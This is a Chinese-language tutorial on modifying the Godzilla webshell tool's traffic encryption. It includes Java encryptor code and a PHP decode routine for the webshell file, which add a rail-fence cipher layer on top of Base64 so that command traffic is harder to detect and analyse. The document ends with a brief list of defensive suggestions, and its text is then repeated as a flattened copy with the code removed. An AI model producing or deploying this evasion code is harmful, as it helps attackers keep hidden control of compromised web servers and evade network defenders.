Godzilla栅栏加密混淆流量
字数 868 2025-08-22 22:47:39

Godzilla流量混淆与加密技术分析

0x01 哥斯拉混淆代码分析

流量行为分析

  1. 测试连接时发送两个包:

    • 第一个包用于服务器创建Session,存储模块函数(混淆流量行为发生在第一个包发送前)
    • 第二个包检查木马是否能连接
  2. 流量定位方法:

    • 全局搜索unicode编码字符串"\u6d4b\u8bd5\u8fde\u63a5"定位到ShellSetting.java
    • 搜索"testButton"关键字找到点击按钮逻辑代码

核心代码分析

private void testButtonClick(ActionEvent actionEvent) {
    if (this.updateTempShellEntity()) {
        if (this.shellContext.initShellOpertion()) {
            GOptionPane.showMessageDialog(this, "Success by ming!", "\u63d0\u793a", 1);
            Log.log(String.format("CloseShellState: %s\tShellId: %s\tShellHash: %s", 
                this.shellContext.getPayloadModule().close(), 
                this.shellContext.getId(), 
                this.shellContext.hashCode()), new Object[0]);
        }
    }
}

流量加密流程

  1. 客户端加密过程:

    • 明文 → 异或加密 → Base64编码 → 发送到服务器
  2. 服务器解密过程:

    • Base64解码 → 异或解密 → 执行run函数 → 异或加密 → Base64编码 → 返回客户端
  3. 客户端解密过程:

    • Base64解码 → 异或解密 → 获取明文数据

0x02 编写混淆加密器

创建测试案例

  1. 在Src目录下创建混淆加密器测试案例
  2. 以php_xor_base64加密器为基础修改
  3. 命名为ming9,修改E与D方法设置为base64传输流量

修改加密逻辑

public byte[] E(byte[] cs) {
    int len = cs.length;
    return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}

public byte[] D(String data) {
    byte[] cs = functions.base64Decode(data);
    int len = cs.length;
    return cs;
}

修改base64.bin

  1. 只保留base64编码解码内容
  2. 删除异或加密解密逻辑
  3. 重新build项目构建jar包

0x03 栅栏加密混淆

客户端加密流程

  1. Base64编码 → 栅栏加密(rails=3) → Base64编码

服务器解密流程

  1. Base64解码 → 栅栏解密 → Base64解码 → 返回Base64编码流量

Java实现代码

public byte[] E(byte[] cs) {
    String base64EncodedInitial = Base64.getEncoder().encodeToString(cs);
    int n = rails;
    StringBuilder[] railFence = new StringBuilder[n];
    
    for (int i = 0; i < n; i++) {
        railFence[i] = new StringBuilder();
    }
    
    int rail = 0;
    for (int i = 0; i < base64EncodedInitial.length(); i++) {
        railFence[rail].append(base64EncodedInitial.charAt(i));
        rail = (rail + 1) % n;
    }
    
    StringBuilder railFenceEncoded = new StringBuilder();
    for (int i = 0; i < n; i++) {
        railFenceEncoded.append(railFence[i].toString());
    }
    
    String finalBase64Encoded = Base64.getEncoder().encodeToString(railFenceEncoded.toString().getBytes());
    return (this.pass + "=" + finalBase64Encoded).getBytes();
}

public byte[] D(String data) {
    byte[] cs = functions.base64Decode(data);
    int len = cs.length;
    return cs;
}

PHP木马文件修改

function decode($str){
    $n = 3;
    $length = strlen($str);
    $table = array();
    $quotient = (int)($length / $n);
    $remainder = $length % $n;
    
    for ($i = 0; $i < $n; $i++) {
        $table[$i] = array();
    }
    
    $index = 0;
    for ($i = 0; $i < $n; $i++) {
        $rowCount = $quotient + ($i < $remainder ? 1 : 0);
        for ($j = 0; $j < $rowCount; $j++) {
            $table[$i][$j] = $str[$index++];
        }
    }
    
    $decodedStr = "";
    for ($i = 0; $i < $quotient + 1; $i++) {
        for ($j = 0; $j < $n; $j++) {
            if (isset($table[$j][$i])) {
                $decodedStr .= $table[$j][$i];
            }
        }
    }
    return $decodedStr;
}

0x04 技术总结

关键点

  1. 流量混淆通过在发送前进行多层加密实现
  2. 栅栏加密增加了流量分析的难度
  3. 修改加密器需要同步修改客户端和服务器端代码
  4. 加密流程可自定义,但需要保证加解密对称

防御建议

  1. 监控异常Base64编码流量
  2. 检测固定模式的加密流量特征
  3. 分析HTTP请求中的异常参数传递
  4. 部署流量解密分析工具

0x05 参考资源

  1. Godzilla项目源码: https://github.com/BeichenDream/Godzilla
  2. 相关技术分析文章
Godzilla流量混淆与加密技术分析 0x01 哥斯拉混淆代码分析 流量行为分析 测试连接时发送两个包: 第一个包用于服务器创建Session,存储模块函数(混淆流量行为发生在第一个包发送前) 第二个包检查木马是否能连接 流量定位方法: 全局搜索unicode编码字符串"\u6d4b\u8bd5\u8fde\u63a5"定位到ShellSetting.java 搜索"testButton"关键字找到点击按钮逻辑代码 核心代码分析 流量加密流程 客户端加密过程: 明文 → 异或加密 → Base64编码 → 发送到服务器 服务器解密过程: Base64解码 → 异或解密 → 执行run函数 → 异或加密 → Base64编码 → 返回客户端 客户端解密过程: Base64解码 → 异或解密 → 获取明文数据 0x02 编写混淆加密器 创建测试案例 在Src目录下创建混淆加密器测试案例 以php_ xor_ base64加密器为基础修改 命名为ming9,修改E与D方法设置为base64传输流量 修改加密逻辑 修改base64.bin 只保留base64编码解码内容 删除异或加密解密逻辑 重新build项目构建jar包 0x03 栅栏加密混淆 客户端加密流程 Base64编码 → 栅栏加密(rails=3) → Base64编码 服务器解密流程 Base64解码 → 栅栏解密 → Base64解码 → 返回Base64编码流量 Java实现代码 PHP木马文件修改 0x04 技术总结 关键点 流量混淆通过在发送前进行多层加密实现 栅栏加密增加了流量分析的难度 修改加密器需要同步修改客户端和服务器端代码 加密流程可自定义,但需要保证加解密对称 防御建议 监控异常Base64编码流量 检测固定模式的加密流量特征 分析HTTP请求中的异常参数传递 部署流量解密分析工具 0x05 参考资源 Godzilla项目源码: https://github.com/BeichenDream/Godzilla 相关技术分析文章